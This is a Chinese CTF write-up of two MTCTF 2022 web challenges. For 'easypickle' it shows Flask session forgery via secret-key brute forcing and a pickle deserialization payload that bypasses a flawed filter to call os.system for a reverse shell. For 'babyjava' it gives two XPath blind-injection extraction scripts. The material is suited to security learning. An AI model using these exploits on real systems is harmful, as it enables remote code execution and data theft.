MTCTF2022

周末打的MTCTF

easypickle

又是pickle,上次学的忘得差不多了,平时基本上没碰到过

给了源码

import base64
import pickle
from flask import Flask, session
import os
import random

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()

@app.route('/')
def hello_world():
if not session.get('user'):
session['user'] = ''.join(random.choices("admin", k=5))
return 'Hello {}!'.format(session['user'])


@app.route('/admin')
def admin():
if session.get('user') != "admin":
return f"<script>alert('Access Denied');window.location.href='/'</script>"
else:
try:
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))
return "ok"
except:
return "error!"


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)

首先是这个secret_key是一个4位的十六进制

然后下面这个路由

@app.route('/')
def hello_world():
if not session.get('user'):
session['user'] = ''.join(random.choices("admin", k=5))
return 'Hello {}!'.format(session['user'])

如果没有session,就从admin中取,这里参考团队师傅的脚本,爆出admin的cookie

import requests

url = "http://127.0.0.1:5000/"

while True:
resp = requests.get(url=url)
if "admin" in resp.text:
print(resp.cookies)
break

然后我们就可以利用flask-unsign进行对key的爆破

首先先生成一下字典

hexs = ['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f']
with open("./1.txt", "a") as f:
for i in hexs:
for j in hexs:
for m in hexs:
for n in hexs:
str = "{}{}{}{}\n".format(i, j, m, n)
print(str)
f.write(str)

接着就是要绕过反序列化执行命令了

a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))

这个ser_data是从session里取的,所以我们要伪造session传入pcikle反序列化的数据,同时他也限制了R i o b四个操作符

注意看,他这里最后load的是ser_data,而不是a

所以这个waf的逻辑是有问题的

  • 先用a去获得替换关键字的opcode
  • 然后替换后的去判断
  • 但是最后执行的却是原先的值

我们利用如下payload

import base64
import pickletools

payload = b'''(S'key'\nS'val'\ndS'pay'\n(cos\nsystem\nV反弹shell\nos.'''
print(pickletools.dis(payload))
print(base64.b64encode(payload))

执行命令选用的是反弹shell,然后因为有waf,我们可以采用V指令,进行unicode编码绕过

发包过去,成功收到shell

babyjava

xpath盲注,这里本地没环境了,贴下其他师傅的脚本

https://pysnow.cn/archives/394/

# -*- coding: utf-8 -*-
# @Time : 2022/9/17 14:00
# @Author : pysnow
import string

import requests

url = 'http://eci-2ze1m6bqazd6qr453ll7.cloudeci1.ichunqiu.com:8888/hello'
dic = 'flagbcdef-_{}0123456789'
ses = requests.session()
result = ''
# data = {"xpath": "admin' or substring(name(/root/user), " + str(i) + ", 1)='" + j}
# root user username
# /root/user/
for i in range(29, 50):
print(i)
for j in dic:
data = {"xpath": "admin' or substring((/root/user/*[2]), " + str(i) + ", 1)='" + j}
res = ses.post(url=url, data=data)
if 'available' not in res.text:
result += j
print(result)
break

https://mp.weixin.qq.com/s/JuR0OL4Wv9SLCVFd71vuKA

import requests as res
import string


url = "http://eci-2zeetzz54w4b5tinoysb.cloudeci1.ichunqiu.com:8888/hello"
strs = "{-}" + string.ascii_letters + string.digits
result = ""
end = False
for a in range(1,100):
if end:
print("[+]Done!: {}".format(result))
break
for i in strs:
print("[+]Test:{} {}".format(a,i))
# data = {"xpath" : "1'or substring(name(/*[1]), {}, 1)='{}' and '1'='1".format(a,i)}
# data = {"xpath" : "1'or substring(name(/root/*[1]), {}, 1)='{}' and '1'='1".format(a,i)}
# data = {"xpath" : "1'or substring(name(/root/user/*[2]), {}, 1)='{}' and '1'='1".format(a,i)}
data = {"xpath" : "1'or substring(/root/user/username[position()=2]/text(), {}, 1)='{}' and '1'='1".format(a,i)}
resp = res.post(url=url, data=data)
# print(resp.text)
if resp.text.find("<p>user1</p>") != -1:
result += i
print("[+]Matched: " + result)
break
if i == strs[len(strs)-1:]:
end = True
作者

秋秋晚

发布于

2022-09-20

更新于

2023-01-10

许可协议

评论

:D 一言句子获取中...